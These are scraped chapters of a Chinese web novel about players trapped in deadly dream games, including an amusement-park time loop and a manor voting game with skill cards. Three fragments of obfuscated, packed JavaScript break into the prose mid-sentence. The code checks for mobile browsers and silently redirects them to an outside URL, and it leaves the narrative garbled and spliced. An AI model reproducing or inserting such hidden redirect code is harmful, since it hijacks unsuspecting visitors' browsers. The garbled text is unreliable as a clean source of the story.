轻松在座舱抵达顶点前解决了一桌子的汉堡,他们也在6次轮回后,终于迎来了一次落地。 这次六人十分小心,躲在暗处避免被唐哲和魏含英发现,只派出禾苒前去诱敌。 唐哲和魏含英一如既往在场地内腻歪,禾苒假装学妹偶遇,尝试将唐哲骗到出口去。 “唐哲学长!”禾苒撩起耳边长发,一脸娇羞地对唐哲释放魅力,声音实在是前所未有的温柔,“没想到能在这里遇见你,我在学校关注你很久了,一直没机会跟你说上话……” “啊,是么?呵呵……啊不,关、关注我干嘛?”唐哲明明一副心猿意马的样子,却又碍于身边还站着女朋友,极力压制着疯狂上扬的嘴角。 “哎呀,别误会,我是准备考研,所以将学长视为偶像。”禾苒故作羞涩地解释,“对了,我有几个问题正好想咨询学长,不知学长能不能抽出两分钟跟我聊聊。” “哦,考研上的事呀,那确实很重要。小英,要不你等等我,我马上回来。”唐哲始终维持着一副正人君子的模样,可任谁都看得出他藏的小心思。 俞小澄和其余四人躲在摩天轮后的角落里,时刻关注了禾苒那边的动静,还不忘随时发表个人看法,像极了吃瓜群众。 张尧:“哕,这种娇滴滴的样子不适合苒姐,我还是习惯她平时凶巴巴的模样。” 吴樊祐:“你是抖m么?” 张尧:“滚!” 曾勇:“那唐哲一看就不是什么好人,瞧他尖嘴猴腮的样子。” 白羽楠:“网上不是说他劈腿吗?劈腿能是什么好东西,我看恶灵八成就是这家伙!” 俞小澄:“怎么禾苒说是校友,他就不问哪一届、哪个专业了?” 白羽楠:“呵呵,小澄姐,男人这种东西,大多双标狗,别在意。” 张尧:“我不是啊,你别乱说。” 吴樊祐:“不会说话不如不说!” 曾勇:“可能他单纯不喜欢年上吧。” 俞小澄:“……” 吴樊祐:“你不如也闭嘴!” 眼看着唐哲动了与禾苒私聊的心思,与魏含英交代了几句,就跟着禾苒一起往出口方向走去,众人已经在心里开起了香槟,可一眨眼,嘟嘟声响起,时间再次重启。 他们进入了第十八轮循环。 “妈的,没道理啊,唐哲都要跟我走到出口了!”禾苒咋咋呼呼朝俞小澄走来。 张尧像是有了发现,匆忙跑到俞小澄面前,大口喘气道:“恶、恶灵,是、是魏含英,不是唐哲!” 俞小澄点点头表示同感:“记得吗,我跟吴樊祐被怀疑那次,其中一个提问是关于劈腿的。当时我还没多想,可结合万里梦幻乐园的殉情案来看,这道题就显得有些刻意。” 吴樊祐说:“所以根本就是恶灵在意的问题?” “嗯,大概杀掉唐哲的也是她吧。”俞小澄小声说道,她并不十分肯定,只是有这样的猜测。 张尧笑起来:“知道谁是恶灵就好办了,唐哲大概率不会有循环记忆,苒姐继续去勾引……” “勾什么引?!你再说一次!”禾苒提高音量打断道。 张尧口风一转,说:“苒姐继续对付唐哲那个狗东西,勇哥,下次你试试将魏含英引开如何?” 曾勇比了个OK的手势。 与唐姝汇合后,众人再次踏上了摩天轮征途,只祈祷人体解剖学不要再光临。 也许是祈祷奏效,这一次游戏的主题是「为心爱的人献上最真实的自己」。 座舱内又出现一个机器人,头上一左一右开着两个洞,洞的上方标注着两个符号,左边为“♂”,右边为“♀”,而位于空洞的下方,一如既往是一个电子显示屏,屏幕上显示着提示文字: 【当前真实度:0%】 【目标真实度:100%】 【十道展示真实的问题,男女交替回答,如实回答便可增加真实度,说谎者将遭受电击。】 “电击……这两个洞里不会是测谎仪吧?”张尧从各个角度观察着面前的机器人,对提示中的电击有些畏惧。 “我更担心电击强度,不会电死人吧?”白羽楠一脸抗拒。 禾苒干脆提议跳一轮,要她以身试电击,那是不可能的事,以她对恶灵尿性的了解,她觉得 86. 梦境(三) 《我好像住进了黑店》全本免费阅读 “你分手了吗?” 这是俞小澄苦思冥想后得出的结论,实在耐不住好奇心驱使,有些难为情地小声问了吴樊祐。 吴樊祐听到这句话,脸上写着大大的不解,挠着脑袋反问:“我跟谁分手了?” 忽然俞小澄又觉得不对,说不定吴樊祐的意思是没有与女朋友以外的人保持恋人关系,自己却过度理解,还表现得好像盼着别人分手一样,不禁觉得羞愧。 一丝绯红慢慢爬上脸颊,俞小澄试图转移视线来缓解自己的尴尬,摸着耳垂胡言乱语道:“哈哈,没分手就好,我最近有点耳背,估计听错了。” 俞小澄说完就想跑,却被吴樊祐眼疾手快一把抓住了袖子,只听吴樊祐诧异地问道:“不是,我到底跟谁没分,又跟谁分了啊?” 俞小澄慌张地摆手道:“没、没谁,我胡说八道呢,对不起。” 白羽楠恰好在边上,听到了二人对话,鄙视地瞪了吴樊祐一眼,上前一手刀敲在了吴樊祐的手背上。 这一敲很有些力道,不仅打得吴樊祐缩回手一声哀嚎,还打得自己不停甩手,小鱼际又红又肿胀。 白羽楠一边朝着手掌吹气,一边骂道:“原来你有女朋友啊,那还缠着别的女生不放?跟那唐哲一样,渣男!” 张尧闻言也来凑热闹:“吴哥,这就是你不对了,有些底线该守还是得守,你又不是不打算离开穷途旅店了,真觉得天高皇帝远么?” 俞小澄总觉得哪里不对劲,慌张解释道:“你们不会是在说我吧?别误会,我们只是校友罢了,毕业后几年都没联系,他以前说话就那样。” 白羽楠:“小澄姐,你不用帮这小子说话。” 俞小澄:“没有,事实而已!” 张尧:“小澄姐,别被感情冲昏了头脑,拒绝恋爱脑。” 俞小澄:“我不是……” 白羽楠和张尧你一言我一语,吵得俞小澄脑袋嗡嗡响,只想抽自己两巴掌,干嘛嘴贱要问吴樊祐是不是分手了。 他们三人说得热闹,只有吴樊祐处于懵圈状,他轻咳两声打断三人的对话,一脸茫然地问道:“请问,你们给我安排了谁当女朋友?作为当事人,是不是有知情权?” 白羽楠和张尧齐齐看向俞小澄。 俞小澄苦笑,感觉这话题是结束不了了,骑虎难下地答道:“呵呵,当时比你低两届的校花,名字我忘了。” 张尧挖苦道:“吴哥,可以啊,连校花都能追到。” “滚!”吴樊祐瞥了张尧一眼,然后哭笑不得地问俞小澄:“不是,学姐,什么时候的事啊?你这安排也没告诉我一声啊。” “嗯?”俞小澄更懵,“毕业离校那段时间,校花校草确立恋爱关系,这消息传得哪儿哪儿都是,当时大家都很看好你们,没人告诉你么?” 吴樊祐点头:“听说了啊,但那校草也不是我呀。” 俞小澄有些无语:“我……不是,大家都看见校花跟你表白了,难道她表白是群发的么?” 吴樊祐一脸无辜:“我也不知道啊,我以为是我,可我拒绝了啊。” 白羽楠厉声质疑:“你如果真拒绝了,对方能对外宣称表白成功了吗?不怕你找她对峙打脸吗?” 吴樊祐无奈地叹了口气:“所以我说不是我呀……学校里传得煞有其事,我想让她出面澄清,可她骂我自作多情,她又没说校草是我。” 一阵沉默后,座舱内爆发出爽快的嘲笑声,张尧和白羽楠笑得直不起腰。 白羽楠调侃道:“我就说我看人挺准嘛,像他这样的人,应该很难讨女孩子喜欢,活该!” 张尧笑道:“快别说了,我吴哥,好惨一校草,我们就别落井下石了。” “你们笑够了没,适可而止啊。” 吴樊祐神情窘迫,被他们笑得满脸通红,咬牙切齿却又拿他们没辙。 在这阵发自内心的笑声中,只有俞小澄趁着他人没注意,拖着步子挪回了对面座椅。她是一点都笑不出来,这样的真相让她仿佛是个笑话。 单方面自卑,单方面退缩,将心意狠狠锁进内心角落里,然后尘封四年后,被人告知一切只是一个误会。 她不知道自己是应该高兴,还是难过,但有一点可以肯定,她这一生无论做什么都很失败。 当三人发现她一个人被卷入低气压中时,本想靠近过问,可她本能地转移了话题:“啊,一圈快结束了,赶紧想想怎么分头行动吧!” 于是她转身与曾勇讨论起了可行方案,提议让曾勇扮成工作人员接近魏含英,至于工作人员的制服,她会叫招财进宝帮忙顺一件。 吴樊祐没能插上嘴,便安静地坐回原处,静静看着俞小澄,不知自己哪里又惹学姐不高兴了。 回到平台时,曾勇已经换上了工作人员制服,假装是乐园宣传部的,想要单独采访情侣双方,研究男女思维的差异性,优化乐园宣称方向。 事情很顺利,魏含英没有起疑,跟着曾勇去了一个没人的角落。 禾苒见状开始行动,按照上一回的话术,将唐哲骗到了摩天轮出口。 终于,唐姝一眼看到了唐哲,并手舞足蹈地呼唤着:“二叔!” 唐哲脸上的表情,从疑惑到惊讶,再到激动,一边跑向唐姝,一边难以置信地说:“小姝,是小姝,你怎么会在这儿?” 唐姝捂着眼,嘤嘤嘤地哭起来,娇声娇气道:“二叔,你怎么现在才出来,我等了你好久了,我想回家,你带我回家好不好?” 唐哲牵起唐姝的小手,柔声安抚道:“好好好,二叔现在就带你回家。” 正在这时,晴空中陡然响起一声惊雷,震得整个乐园摇晃起来,仿佛发生了大地震,乌云瞬间席卷而来,天色大变,时间在这一刻停止了。 眼前的一切变为静止,活着的人一动不动,风停止了喧嚣,划过长空的鸟不再扇动翅膀。 一片静默中,俞小澄仿佛听见一个声音,歇斯底里地吼叫。 “为什么,为什么要拆散我们?” “我不过是想和喜欢的人永远在一起……” “我那么爱他,怎么可能杀他!” “我没有错!没有人能分开我们!” …… 一眨眼,时空飞速倒退,时钟滴答滴答的声音响起,一切恢复如常,嘈杂的人声和蝉鸣声代替了静默,俞小澄又站在了乐园大门外。 第十九轮循环开始。 没有人知道发生了什么事,第一反应都是失败了。 明明唐哲叔侄俩已经见面,可为什么一切还是回到了原点? 对此,谁也没有发表评论,他们静静地望着每次唐姝出现的方向,只希望这场变故不会将重要NPC搞没了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915837|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何。 既然梦境的剧本对于NPC来说无法改变,俞小澄便将自己修改前的任务信息告诉了莫小琴——曹任以遗产为诱饵,引诱李梦曼与自己合作,由李梦曼哄骗尧宇前往欧山房间的阳台,然后提前潜伏在那里的曹任突然袭击,将尧宇推下了楼。 说完后,莫小琴开心地拍手称赞,直言她的推论与何管家如出一辙。 这一刻,俞小澄愈发肯定何管家就是恶灵。 这种根本就没有发生的事能靠推理推导出来吗? 俞小澄可不这么认为,唯一能够知晓真相的,只有编造剧本的恶灵本人。 从莫小琴手中再次获得一个木箱,俞小澄带着吴樊祐回到了自己的房间,并叫上白羽楠和曾勇,一同商量如何从恶灵手中抢夺记忆之门的钥匙。 将自己的推测简单向不知情的二人说明后,四人的目标变得明确起来。 首先何管家大概率就是恶灵,其次他不愿意让人触碰的打字机很有可能就是记忆之门的钥匙,在这个前提条件下,他们或许需要调虎离山,然后赢得碰触打字机的机会。 经过一番商议,在晚饭时分,四人行动起来。 第一回合,由俞小澄出面,请何管家与大家一同用餐。何管家没有拒绝,可是离开房间后,他将房门锁了……计划失败! 第二回合,由白羽楠出面,谎称三楼着火了,本以为何管家要么拿出打字机撤离,要么慌张赶去三楼查看情况而忘记关门,结果何管家依然淡定地锁上了门……计划再次失败! 第三回合,吴樊祐建议直接正面出击,四人一起进入何管家房里,由吴樊祐按倒何管家,其余人直接冲去抢打字机。 这一次,计划很顺利,何管家被吴樊祐扑倒在地挣扎无果,只能眼睁睁地看着俞小澄三人冲向打字机。 然后就在俞小澄快要触碰到打字机的前一秒,一眨眼,她整个人回到了房间里。 俞小澄扑了个空,一跤摔倒在地,余光瞥过手表,时间竟然走到了十点。 俞小澄连忙回头看向房门,只见地板上赫然躺着一个熟悉的黑色信封。 看来恶灵发动了技能,梦境的时间快进到了晚上十点,而他们几个应该都被传回了自己的房间。 硬抢这条路是走不通了,俞小澄无奈地从地上爬起来,拍了拍身上的灰尘,走到门边捡起地上的信封。 如今只能先解决眼前的问题,至于开启记忆之门这件事,只能明天再从长计议。 俞小澄此时心里并不十分着急,就算这场梦境暂时放弃记忆之门,也没太大关系,毕竟他们已经找到了通关梦境的简单方式。 这种乐观的想法一直持续到俞小澄拆开黑色信封前,当看到卡片上的内容时,俞小澄才知道自己高兴得太早了,事情远没有她想象中那么简单。 黑色卡片上的一行红字依旧: 【身份:欧山的私人秘书谭婉】 红色卡片上却一个字都没有。 俞小澄茫然地看着空无一字的任务卡发呆,一时反应不过来究竟发生了什么事,但心里隐隐不安的感觉变得愈发浓烈起来。 110. 梦境(四) 没过一会儿,敲门声响起,俞小澄开门后,陆续出现在她门前的人证实了她心底不安的直觉,事情终究开始往不好的方向转弯。 所有人收到的任务卡都是一片空白,而身份卡上也未标注谁是凶手,站在走廊上的众人一筹莫展。 “这是什么意思?今晚什么事都不用做了?”章锐面露困惑之色。 单浩言表示:“什么都不做不是更好。” 白羽楠却有些头皮发麻,像是感觉到一丝莫名的凉意,她抚摸着胳膊,站到了俞小澄身旁,低声说道:“哪有这么好的事,我怎么闻到一丝阴谋的味道?” 俞小澄的感觉与她差不多,心中同样有些异样,总感觉这是暴风雨前的宁静,不禁担心起今夜会发生什么意想不到的情况。 “大家站在这儿好像也理不出头绪,如果没别的事,我就先睡了。”萧莹伸了个懒腰,向众人挥了挥手,道了声晚安,便第一个回到了房间。 有她这个“榜样”,其余几人也纷纷效仿,反正任务卡上什么也没写,那就不能算他们什么都没做,于是放宽心,回房间安心休息。 “小澄姐,我还是跟你一起吧,要我一个人呆在房间里,总觉得心里发毛。” 白羽楠说着溜进了俞小澄的房间。 曾勇依然照旧,住在两人隔壁,并让两人如果发现情况不对劲,就大声呼救。 有曾勇在隔壁,这让俞小澄和白羽楠二人安心不少。 “学姐,晚上锁好门。”吴樊祐小声叮咛一句,便也慢悠悠地回了房。 俞小澄将门反锁好,回到床上与白羽楠闲聊了一会儿。 对于恶灵会发动时间技能,她们都疏忽了,如今打草惊蛇,今后想要再靠近打字机似乎越来越困难了。 在这件事上,白羽楠看得挺开,甚至还开起了玩笑:“你说,我们如果明天一早就冲去何毕的房间,他会不会又立即推快时间到晚上十点,那岂不是我们很快就可以离开梦境了?” “最好的情况当然如此,可万一他还有别的诡计,那就危险了,我看我们还是别太莽撞得好。”俞小澄劝道。 此时俞小澄只想能以最稳健的方式,结束这场梦境。 两人不知聊了多久,困意渐起,不知不觉竟睡了过去,突然屋外传来一声撕心裂肺的惨叫声,吓得两人从床上弹了起来。 屋里的灯还未熄灭,俞小澄看了看手表,11点34分,时间才过去一个多小时,可这声惨叫又是从何而来? 俞小澄的第一反应是三楼某人又遇害了,这次甚至都不安排玩家动手了,难道恶灵知道她可以用道具修改任务,所以直接省略了这个步骤? 可前两日她并没有在这个时候听到过行凶的动静,而且惨叫声似乎离她们非常近,感觉就在二楼,就在她们隔壁。 一瞬间,一股寒气游走全身,俞小澄忍不住颤抖起来,她踉踉跄跄从床上爬起来,顶着心中强烈的预感,往门外走去。 白羽楠不明所以跟了上来。 开门后,只见二楼房间的住客纷纷探出头来,显然大家都听到了惨叫声,只是分不清这声惨叫出自何处,正四处张望,希望有人能给出答案。 俞小澄努力使自己镇定下来,视线从众人脸上扫过,依次确认着玩家的平安。 吴樊祐跑了过来,面色有些凝重,他在俞小澄耳边轻声说了一句:“你先在房间待着别出来,我去看看。”随即双手搭上俞小澄的肩膀,将人往门内一转,轻轻一推,然后顺势关上了门。 俞小澄脑子里乱成一团,站在门边没有动弹,直到白羽楠轻手轻脚走到她身边,抚着她的背,关心地问道:“怎么了,小澄姐?哪里不舒服吗?” “我刚才……没、没有……没有看到曾勇出门……”俞小澄努力想要表达清楚,可舌头似乎有些不受控制。 “什么意思……难道刚才的惨叫……” 白羽楠的脸瞬间没了血色,方才从睡梦中惊醒,她们没能分辨出声音传来的方位,只是感觉离她们很近。 现在听了俞小澄的话,那声惨叫竟与曾勇的声音重合到了一起。 正在二人震惊之时,何管家的声音在走廊里响起:“大事不好了!李梦曼女士被人杀害了!侦探先生,你一定要帮我们找出凶手啊!” “李梦曼?我抽到的身份不就是李梦曼吗?”白羽楠突然说道,随即在屋子里寻找起自己的那张身份卡片,再三确认后,十分肯定自己就是李梦曼。 俞小澄也有些茫然,怀着一星半点的希望,与白羽楠一同走出了房间。 她在心里安慰自己:也许只是自己想多了,也许曾勇只是睡着了,也许曾勇现在正站在门外听何毕胡说八道…… 然而,门外,众人已经围在了隔壁房间门前,神色各异地盯着屋子里,吴樊祐就挡在门前,将所有人拦在门外,而何管家此时正站在吴樊祐面前。 听到她们开门的声响,何管家慢悠悠地转过头来,然后露出惊诧的表情,指着白羽楠喊道:“咦?李梦曼女士没死?那屋里死的是谁?” 这一句话,将俞小澄的希望彻底击碎了。 吴樊祐冲着何管家冷冷说道:“你的台词已经说完了,赶紧离开吧。” 何管家没有在意吴樊祐的无礼,笑容可掬地对众人行了个礼,然后说了句:“那么期待明日的缉凶环节,祝各位今晚有一个好梦!”说罢,便闲庭信步地离开了二楼。 吴樊祐让其他人回屋后,欲言又止地来到了俞小澄面前。 俞小澄望着他的眼睛,似乎是想从中找到答案。 吴樊祐一脸于心不忍的表情,张开双手将俞小澄拥入怀中,双手在她后背轻拍安抚:“进入梦境的住客,难免会遇到危险,你不必过于介怀。” 这一刻,俞小澄的心沉进了无底的深渊,只觉心寒,她抓紧吴樊祐的衣服,仿佛这样能让自己暖和起来。 “是不是因为我们贸然行动,惹怒了恶灵,所以……”俞小澄的声音弱得只有她自己能够听见。 她只觉曾勇的意外是受了她鲁莽行事的牵连。 吴樊祐的怀抱不易察觉地紧了些,轻音轻柔地在俞小澄耳边说道:“就算真是如此,那也是我的主意,与你无关。” 此时愣在一旁的白羽楠感觉双脚虚软,扶着门框勉强站稳,懊恼地说道:“方才何管家是不是说,死的应该是李梦曼?所以死的本来应该是我,只是因为勇哥碰巧睡在我房间,所以才遇害?” 吴樊祐轻叹一声,道:“不管死的是谁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938856|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从恶灵发放空白任务卡开始,他就已经决定好,今晚要献祭一位玩家。曾勇的死,不过是八选一的结果,你们别想太多。” 俞小澄微微抬起头:“恶灵的行为模式为何会改变呢?” 吴樊祐静静思考片刻,回道:“大概因为,今天没有死人。” 这是昨天与今天最大的不同,昨天他们投票的结果产生了一名受惩罚的玩家,尹欣被火焚烧而死,而今天他们选择了平票,没有任何一个玩家出局。 恶灵终究是希望有人出局的,严格遵循着箭竹梦境一天死一人的规则,当投票无法淘汰玩家时,他便将死者从NPC阵营调整到玩家阵营。 “那明日投票如果还平票,岂不是……”俞小澄不敢细想。 “今后不会有平票了。”吴樊祐的话冰冷至极,他用下巴抵住俞小澄的额头,似是做出了某种决定,轻轻拍了拍俞小澄的后背,“放心,交给我就好,这场梦境暂且放弃记忆之门吧,我会让学姐平安离开这里。” 俞小澄不知他心里有何打算,而他说的话既让俞小澄感觉安心,有隐隐透着一丝危险的气息。 重新回房间躺下时,公馆的灯已经熄灭,俞小澄才想起莫小琴给自己的木盒,于是摸黑将木盒找了出来。 木盒内同样放着一枚金币和一张卡牌,借着月光,她依稀可以分辨出,卡面上画着一个盾牌。 若是在今晚的事发生前,俞小澄还会无比庆幸拿到了游戏中的唯一一张护盾卡。因为加上吴樊祐盲盒开出的那张,这两张卡本可以将剩下的人平安无事带离这场充满杀戮的梦境。 然而一想到投票环节无人出局,夜晚就会有玩家遭到杀害,她就失去了攻略投票游戏的勇气。 第三日如期而至,所有玩家经过昨晚,都从安心等待梦境结束的状态,变成了相互提防的状态。 不知是不是技能卡已经被全部找到,NPC不再发布任务,玩家之间逐渐失去了合作的意愿,毕竟投票环节不死人,晚上死的就有可能是自己,这样无声的威胁,刺激着每个人的神经。 章锐这个显眼包,第一个跳了出来,挥了挥手里的卡牌,半威胁半利诱地说:“爷爷也不跟大家玩虚的,这张国王卡已经被我找到,谁能给我的好处更多,我就和谁合作,否则,我就把谁投出局!” 单浩言偷偷看了一眼手里的卡牌,敢怒不敢言。 俞小澄心里默算着现存的卡牌,除了自己找到的暗杀卡和护盾卡,以及吴樊祐手里的逮捕卡,外置位还剩交换卡、隐身卡、入侵卡、国王卡和替罪羊卡五张卡牌。 章锐的国王卡相较之下的确是威胁度最高的一张卡牌。 武明一脸阴沉地说:“我有一张交换卡,所以你们最好别投我,我会无条件与随机一人调换身份。” 他这样一说,旁人自然有所忌惮,连气焰嚣张的章锐都拿他没辙,骂骂咧咧地将战火转向别处。 萧莹笑眯眯地说:“别找我,我有隐身卡,对不住,你们好像无法选中我。” 吴樊祐轻啧了一声,见章锐望向自己,冷眼回瞪,然后讥讽道:“我今天是侦探,你要举票前最好掂量清楚,逮捕卡可以无视投票结果。” 章锐威胁一圈无果,只能幽幽地看向单浩言。 111. 梦境(四) 单浩言先是微微一怔,盯着手里卡牌思索良久,忽然意识到什么,大笑道:“我的入侵卡好像可以强制改写你的投票,所以你看我也没用!” 章锐本以为自己抽中了杀手锏,没想到处处遭其他卡牌掣肘,瞬间泄了气,乐呵呵地说:“大家别紧张,我就看气氛沉闷,跟大家开了小玩笑,活跃活跃气氛,大家别当真啊!” 除了一张替罪羊卡暂无下落,其他卡牌已经依次浮出水面,这场明争暗斗似乎陷入了僵局。 如今活着的玩家各自为营,有了昨日的前车之鉴,几乎所有人都希望今日的投票能出个冤大头。 萧莹手握隐身卡,俨然一副隔岸观火的架势,没有人能威胁到她,因此她也不屑与人为伍。 武明拿着交换卡,这卡的威力大家已经见识过,因此他也一脸淡定。 单浩言的情绪可就没那么稳定了,他的入侵卡虽可以克制章锐的国王卡,但如果章锐不使用国王卡,他也顶多能改变一个人的票型,不足以威胁人多的一方,也不足以确定自身安危。 他的脑袋转得挺快,很快就意识到自己单打独斗并无优势,便悄悄地靠近了俞小澄三人。 “我觉得我们可以结盟。”单浩言将三人招呼到会客厅角落里,低声提议。 吴樊祐冷冷看了他一眼,一副饶有兴致的表情:“怎么个结盟法?” “你们没看出来吗?如今局势,萧莹和武明都动不了,只要我们四人联盟,就可以稳投章锐出局!”单浩言眼神阴鸷。 吴樊祐眼神不屑:“逮捕卡可无视投票结果直接发动,我好像不用与你合作,也能投死章锐,你的价值何在?” 单浩言将手中的卡牌递到了吴樊祐面前:“这就是价值!” 单浩言打算将入侵卡送给吴樊祐,前提条件是达成同盟。 这一轮投票,大概率所有人都会使用技能卡,在隐身卡、交换卡和国王卡被消耗掉后,拥有盟友最多的队伍外加入侵卡,基本上可以直接决定哪个人出局。 而单浩言希望这一轮借吴樊祐的手除掉章锐这个麻烦,同时保证下一轮自己不会成为三人的目标,这一手棋走得合情合理。 吴樊祐托着下巴,竟认真思考起来。 俞小澄欲言又止,内心挣扎:“章锐……你跟他有仇么?” 单浩言一脸难以置信:“大姐,别傻了,今天不死一个人,晚上死的可能是你,也可能是我!” 只是一句话,俞小澄便彻底噤了声,逃避着单浩言的视线,目光闪烁着望向地面。 她心里自然清楚,谁与谁之间都无深仇大恨,他们只是一群被迫聚在这里的陌生人,在你死我亡之间做着无可奈何的选择罢了。 曾勇的死已成心中阴霾,俞小澄知道再有过多顾虑便是虚伪,她如今该考虑的是和吴樊祐、白羽楠一起活下去,其他人的死活不应该成为内心的枷锁。 想是这么想的,可真要决定时,她又于心不忍。 不过,吴樊祐并没有给俞小澄和白羽楠决定的机会,他伸手接过单浩言的卡牌,笑着回应道:“成交!” 至此,新的联盟成立,场上的局势一目了然,这场投票似乎会沿着既定的轨道走向终点。 可就在单浩言将卡牌交到吴樊祐手里后,俞小澄余光瞥见萧莹悄悄找上章锐,二人耳语几句,萧莹似乎递了一张卡牌给章锐,而章锐脸上的神色明显又惊又喜。 不对劲! 俞小澄心中起疑,难道萧莹如此大方,将隐身卡送给了章锐? 可是一旦章锐发动隐身技能,吴樊祐毫无疑问会将矛头指向萧莹,这样做并无意义。 俞小澄百思不得其解,于是将这件事偷偷告诉了吴樊祐。 吴樊祐想了想,随即拍了拍俞小澄的肩,安慰道:“最坏的情况就是萧莹找到了替罪羊卡,但我手里还有一张护盾卡。” 说罢,吴樊祐拿出护盾卡交到了白羽楠手上,并嘱咐道:“开场后,对我学姐使用护盾卡,防一手替罪羊,如果萧莹手里真有替罪羊卡,那她大概率会唆使章锐对我学姐使用。” 白羽楠坚定地点点头。 俞小澄面色凝重:“这样做的结果,不又是无人出局了吗……” “最坏的情况,那也没有办法。”吴樊祐淡然一笑,“晚上的事,不用担心。” 从吴樊祐的眼神中,俞小澄好像看到了某种决心,一股心惊肉跳的不安感油然而生。 等到下午四点,新的一轮投票开始。 全息投影小人一脸兴奋地注视着入场的七人,幸灾乐祸的笑声令人心烦意乱。 众人刚坐下,萧莹就带着满脸笑意将一张道具卡放进了右边卡槽里,然后动笔写了一个名字。 接着,就听全息投影小人尖声说道:“庄安安发动隐身技能,本场投票,任何操作都无法选中庄安安为目标。” 俞小澄试着在投票卡上写下庄安安的名字,果然如全息投影小人宣布的那样,不管她怎么写,庄安安的名字最终都会从纸上消失。 既然萧莹对自己使用了隐身卡,那她交给章锐的卡牌便不言而喻——只能是替罪羊卡。 会议厅内安静得只能听见笔尖在纸上滑动的声音,在场七人各怀心思,相互扫视。 按照吴樊祐的计划,俞小澄、白羽楠和单浩言可以随便写谁的名字,终究只是个过场,因为决定性一票始终在吴樊祐的逮捕卡上。 俞小澄随意填上了自己的身份名——谭婉,而后视线不停地在萧莹和章锐之间来回打转。 她心里总有一种不好的预感,一切真的能按照他们的计划顺利进行吗? 在心里预演了无数遍可能出现的情况,俞小澄终是难以安心,从兜里掏出了属于自己的那张护盾卡。 萧莹知道吴樊祐手上还有一张护盾卡,那她就一定能猜到吴樊祐会用护盾卡保护俞小澄,那她还会将替罪羊卡送给章锐吗?不是明摆着打水漂吗? 俞小澄觉得如果是自己,必定会在外置位选人,这样稳定除掉一人的几率更大些。 但是如果只是为了随便除掉一个人,那她什么都不做,坐等章锐出局不就好了吗? 萧莹之所以会将替罪羊卡交给章锐,是看到单浩言的行动后,笃定吴樊祐会对章锐使用逮捕卡,所以想让章锐用替罪羊卡帮她除掉目标。 而她的目标大概率就是俞小澄。 不管如何推演,似乎都与吴樊祐的想法回到同一跑道。 可即便如此,俞小澄总会担心有意外。 思虑良久,俞小澄还是将护盾卡放进了右边卡槽里,随即卡面上的盾牌团消失,出现一行字——请写下想要守护的身份名字。 俞小澄在白羽楠的李梦曼和吴樊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954144|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祐的侦探之间纠结了片刻,最终还是写下了“侦探”二字,并在心里对白羽楠说了声“对不起”。 当所有人操作完毕,激光网再次封锁了所有卡槽,全息投影小人露出了阴森的笑,并一字一句缓缓宣布结果。 “此次投票结束,现在为各位宣布投票结果!” 气氛瞬间紧张起来,所有人都聚精会神地盯着在圆桌中央来回走动的小人,听他一脸兴奋地继续宣布道: “侦探使用了逮捕技能,所有投票作废,恭喜曹任成为本案直接逮捕的凶手!” 章锐闻言愣了一下,随即露出一个胜券在握的笑容。 全息投影小人的声音继续响起:“但是,曹任发动替罪羊技能,指定侦探代为受罚!” “怎么回事……”白羽楠惊得从位子上站了起来,一脸担忧地望向吴樊祐。 单浩言同样一脸震惊,下意识地咬着手指,视线扫过全场,神情冷峻地思索着整体局势。 全程置身事外的武明一脸冷漠,似乎任何人死都与他没有关系。 章锐一边拍手一边叫好:“哈哈哈哈哈,敢投你爷爷,这就叫自找苦吃!” 吴樊祐表现得一直很淡定,缓缓站起身,冷眼扫过萧莹:“策略不错,算你赢了……” “嘻嘻,声东击西,你将学姐护得太好,我也是没有办法,你能理解我吧?” 萧莹喜笑颜开,看上去没有一丁点难过的表情,即便在她眼里,吴樊祐将同尹欣一样灰飞烟灭,她也满不在乎。 萧莹的表现让俞小澄感觉不可思议,甚至开始怀疑之前的崇拜与喜欢都是萧莹装出来的,其实他们二人之间本身就有深仇大恨。 这种想法在俞小澄脑子里来回碰撞,撞得她头晕目眩。 就在全场都以为尘埃落定之时,全息投影小人的声音幽幽传来: “哎呀,怎么都这么心急,我还没宣布完毕,因谭婉对侦探使用了护盾技能,所以本次惩罚抵消!” 全息投影小人说完又重重叹了一口气,摇了摇头,随即露出一个意义不明的笑:“今日投票依然没有凶手被绳之以法,希望今晚各位能安然入睡!” 会议厅内的气氛瞬间改变,原本已经松了一口气的人纷纷紧张起来。 章锐、单浩言和武明脸色大变,直勾勾地瞪着俞小澄,仿佛在责怪她多此一举。 萧莹的脸上露出失望的表情,默不作声地离开了会议厅。 白羽楠抱着俞小澄欢欣雀跃,为他们三人又逃过一劫而由衷欣喜。 吴樊祐的脸上写着惊讶二字,而后眼神温柔地看向俞小澄。 此刻只有俞小澄沉浸在天崩地裂的震惊里,她眨着眼问吴樊祐:“她怎么会投你?” 